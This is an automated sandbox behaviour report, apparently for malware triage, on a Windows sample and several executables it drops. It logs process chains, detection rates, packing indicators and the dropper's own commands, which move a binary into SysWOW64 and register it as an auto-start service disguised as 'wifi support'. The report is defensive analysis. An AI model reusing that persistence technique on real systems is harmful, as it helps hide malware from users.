Source: C:\Users\user\AppData\Local\Temp\BE39.exe

22_2_00409A6B

Source: PPsa8TXVuy.exe	Virustotal: Detection: 39%
Source: PPsa8TXVuy.exe	ReversingLabs: Detection: 51%

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PPsa8TXVuy.exe "C:\Users\user\Desktop\PPsa8TXVuy.exe"
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Process created: C:\Users\user\Desktop\PPsa8TXVuy.exe "C:\Users\user\Desktop\PPsa8TXVuy.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fjsvubj C:\Users\user\AppData\Roaming\fjsvubj
Source: C:\Users\user\AppData\Roaming\fjsvubj	Process created: C:\Users\user\AppData\Roaming\fjsvubj C:\Users\user\AppData\Roaming\fjsvubj
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A975.exe C:\Users\user\AppData\Local\Temp\A975.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B55D.exe C:\Users\user\AppData\Local\Temp\B55D.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4852 -ip 4852
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Process created: C:\Users\user\AppData\Local\Temp\B55D.exe C:\Users\user\AppData\Local\Temp\B55D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C29C.exe C:\Users\user\AppData\Local\Temp\C29C.exe
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BE39.exe C:\Users\user\AppData\Local\Temp\BE39.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CBE6.exe C:\Users\user\AppData\Local\Temp\CBE6.exe
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\fwpgxpnt\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\qsflslyl.exe" C:\Windows\SysWOW64\fwpgxpnt\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create fwpgxpnt binPath= "C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe /d\"C:\Users\user\AppData\Local\Temp\BE39.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process created: C:\Users\user\AppData\Local\Temp\CBE6.exe C:\Users\user\AppData\Local\Temp\CBE6.exe
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" description fwpgxpnt "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Process created: C:\Users\user\Desktop\PPsa8TXVuy.exe "C:\Users\user\Desktop\PPsa8TXVuy.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A975.exe C:\Users\user\AppData\Local\Temp\A975.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B55D.exe C:\Users\user\AppData\Local\Temp\B55D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C29C.exe C:\Users\user\AppData\Local\Temp\C29C.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BE39.exe C:\Users\user\AppData\Local\Temp\BE39.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CBE6.exe C:\Users\user\AppData\Local\Temp\CBE6.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Process created: C:\Users\user\AppData\Roaming\fjsvubj C:\Users\user\AppData\Roaming\fjsvubj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Process created: C:\Users\user\AppData\Local\Temp\B55D.exe C:\Users\user\AppData\Local\Temp\B55D.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4852 -ip 4852	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 520	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process created: C:\Users\user\AppData\Local\Temp\CBE6.exe C:\Users\user\AppData\Local\Temp\CBE6.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\A975.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B55D.exe

Code function: 14_2_00419C32 SetLastError,GetProfileStringA,WriteProfileSectionW,GetProfileStringA,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryA,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoW,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeaps,WritePrivateProfileStringA,GetPriorityClass,

14_2_00419C32

Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4200:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3408:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5352:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6608:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4852
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1528:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: 0.0	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: hijaduvinijebup	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: mocisacatenu	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: wapejan	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: wovag	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: cbH	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: Piruvora	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: gukafipa	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: mawecamaxe	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: Hiwejanoji	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: Pusazide	14_2_00419E87
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Command line argument: hukujid	14_2_00419E87

Source: CBE6.exe.6.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: CBE6.exe.6.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.CBE6.exe.c10000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.CBE6.exe.c10000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.CBE6.exe.c10000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.CBE6.exe.c10000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.CBE6.exe.c10000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.CBE6.exe.c10000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.CBE6.exe.c10000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.CBE6.exe.c10000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 41.0.CBE6.exe.740000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 41.0.CBE6.exe.740000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\A975.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: PPsa8TXVuy.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: 8C:\pedaxopuw.pdbh source: C29C.exe, 00000014.00000000.404732187.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.410744756.000000000485A000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdb-x source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbqx source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdbH source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbK source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: C:\gogajokijejiye\tagidu\dobujadozu\61\wamu\yamihi hiva.pdbh source: B55D.exe, 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, B55D.exe, 0000000E.00000000.393787415.0000000000401000.00000020.00020000.sdmp, B55D.exe, 00000013.00000000.406075143.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: tTC:\jubejiwakosoxa10-jup\popiridira 13-yula.pdbh source: BE39.exe, 00000016.00000000.410832515.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdbWx source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdbN source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdbix source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbOx source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: C:\jubejiwakosoxa10-jup\popiridira 13-yula.pdb source: BE39.exe, 00000016.00000000.410832515.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: A975.exe, 0000000C.00000000.388624926.0000000000413000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.400258655.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000015.00000002.458048994.0000000004CC0000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: C:\vihigikasog-33_wim.pdb source: PPsa8TXVuy.exe, 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp, PPsa8TXVuy.exe, 00000001.00000000.289018911.0000000000413000.00000002.00020000.sdmp, fjsvubj, 0000000A.00000002.384894346.0000000000413000.00000002.00020000.sdmp, fjsvubj, 0000000A.00000000.376512784.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: C:\gogajokijejiye\tagidu\dobujadozu\61\wamu\yamihi hiva.pdb source: B55D.exe, B55D.exe, 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, B55D.exe, 0000000E.00000000.393787415.0000000000401000.00000020.00020000.sdmp, B55D.exe, 00000013.00000000.406075143.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\pedaxopuw.pdb source: C29C.exe, 00000014.00000000.404732187.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: A975.exe, 0000000C.00000000.388624926.0000000000413000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.400258655.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000015.00000002.458048994.0000000004CC0000.00000002.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Unpacked PE file: 20.2.C29C.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Unpacked PE file: 20.2.C29C.exe.400000.0.unpack .text:ER;.data:W;.tegog:W;.jat:W;.vudit:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: CBE6.exe.6.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 25.0.CBE6.exe.c10000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 25.0.CBE6.exe.c10000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 25.0.CBE6.exe.c10000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 25.0.CBE6.exe.c10000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 41.0.CBE6.exe.740000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 41.0.CBE6.exe.740000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 41.0.CBE6.exe.740000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00404CE9 push ecx; ret	1_2_00404CFC
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_004038B3 push ecx; ret	1_2_004038C6
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00412EA4 push eax; ret	1_2_00412EC2
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00401880 push esi; iretd	3_2_00401893
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00402E94 push es; iretd	3_2_00402EA0
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_00402E94 push es; iretd	3_1_00402EA0
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 10_2_00453C66 push esi; ret	10_2_00453C7C
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 10_2_00453C01 push esi; ret	10_2_00453C7C
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 10_2_00463634 push es; iretd	10_2_00463640
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00401880 push esi; iretd	11_2_00401893
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00402E94 push es; iretd	11_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_00412CA4 push eax; ret	12_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_009695B9 push esi; ret	14_2_009695CF
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_00969554 push esi; ret	14_2_009695CF
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00401880 push esi; iretd	19_2_00401893
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00402E94 push es; iretd	19_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_00402E94 push es; iretd	19_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_004139B0 push eax; ret	20_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00583C00 push eax; ret	20_2_00583C2E
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00776873 pushfd ; ret	20_2_0077699F
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00776841 pushfd ; ret	20_2_0077699F
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00775DE0 pushad ; ret	20_2_00775DE1
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_0077318B push ebx; ret	20_2_0077318C
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_0043E264 push ebp; retf	22_2_0043E265
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_00C18508 push 00000028h; retf 0000h	25_2_00C1850D
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_00C1764A push esp; ret	25_2_00C1764B
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_01804003 push esi; retf	25_2_0180400F
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_0556D4EA push esp; iretd	25_2_0556D4F1
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_0556CF78 pushfd ; retf	25_2_0556CF79
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_0556CF38 pushad ; retf	25_2_0556CF39

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

Code function: 1_2_0040A3DE LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

1_2_0040A3DE

Source: CBE6.exe.6.dr

Static PE information: 0xA22A793F [Sun Mar 19 11:55:43 2056 UTC]

Source: 36F6.exe.6.dr	Static PE information: section name: .gizi
Source: 36F6.exe.6.dr	Static PE information: section name: .bur
Source: 36F6.exe.6.dr	Static PE information: section name: .wob
Source: 4186.exe.6.dr	Static PE information: section name: .code
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name: .T3QbYgM
Source: 50F8.exe.6.dr	Static PE information: section name: .adata
Source: B55D.exe.6.dr	Static PE information: section name: .nex
Source: B55D.exe.6.dr	Static PE information: section name: .mom
Source: B55D.exe.6.dr	Static PE information: section name: .bewe
Source: C29C.exe.6.dr	Static PE information: section name: .tegog
Source: C29C.exe.6.dr	Static PE information: section name: .jat
Source: C29C.exe.6.dr	Static PE information: section name: .vudit
Source: BE39.exe.6.dr	Static PE information: section name: .goxe
Source: BE39.exe.6.dr	Static PE information: section name: .bavo
Source: BE39.exe.6.dr	Static PE information: section name: .pas
Source: 66D4.exe.6.dr	Static PE information: section name: .didata
Source: 7C90.exe.6.dr	Static PE information: section name: .code
Source: qsflslyl.exe.22.dr	Static PE information: section name: .goxe
Source: qsflslyl.exe.22.dr	Static PE information: section name: .bavo
Source: qsflslyl.exe.22.dr	Static PE information: section name: .pas

Source: initial sample

Static PE information: section where entry point is pointing to: .didata

Source: CBE6.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x9011f
Source: 50F8.exe.6.dr	Static PE information: real checksum: 0x361362 should be: 0x3775f1
Source: 7C90.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5a2d0
Source: 4186.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5e577

Source: initial sample	Static PE information: section name: .text entropy: 7.2566886804
Source: initial sample	Static PE information: section name: entropy: 7.9969707961
Source: initial sample	Static PE information: section name: entropy: 7.91194455639
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22501727341
Source: initial sample	Static PE information: section name: .T3QbYgM entropy: 7.91938761659
Source: initial sample	Static PE information: section name: .text entropy: 6.9582296593
Source: initial sample	Static PE information: section name: .text entropy: 6.98120648148
Source: initial sample	Static PE information: section name: .text entropy: 6.96385483013
Source: initial sample	Static PE information: section name: .didata entropy: 7.99713235918
Source: initial sample	Static PE information: section name: .text entropy: 6.96385483013

Source: CBE6.exe.6.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: CBE6.exe.6.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
